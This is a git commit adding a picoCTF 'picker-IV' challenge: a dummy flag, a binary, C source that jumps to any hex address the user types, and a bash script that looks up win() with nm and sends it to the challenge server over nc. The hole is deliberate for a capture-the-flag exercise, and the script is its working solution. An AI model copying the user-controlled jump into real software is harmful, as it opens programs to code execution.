rev/picker_4

This commit is contained in:
2026-07-02 00:19:16 +09:00
parent 6e3e65da8c
commit 83d5a7a8a8
4 changed files with 60 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
picoCTF{dummy_flag}
BIN
View File
Binary file not shown.
+49
View File
@@ -0,0 +1,49 @@
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void print_segf_message(){
printf("Segfault triggered! Exiting.\n");
sleep(15);
exit(SIGSEGV);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, print_segf_message);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
unsigned int val;
printf("Enter the address in hex to jump to, excluding '0x': ");
scanf("%x", &val);
printf("You input 0x%x\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
+10
View File
@@ -0,0 +1,10 @@
#!/usr/bin/env bash
NC_HOST="saturn.picoctf.net"
NC_PORT="55490"
WIN_ADDR="$(nm -g ./picker-IV | grep win | cut -d' ' -f1)"
# ./picker-IV <<<"$WIN_ADDR"
nc "$NC_HOST" "$NC_PORT" <<<"$WIN_ADDR"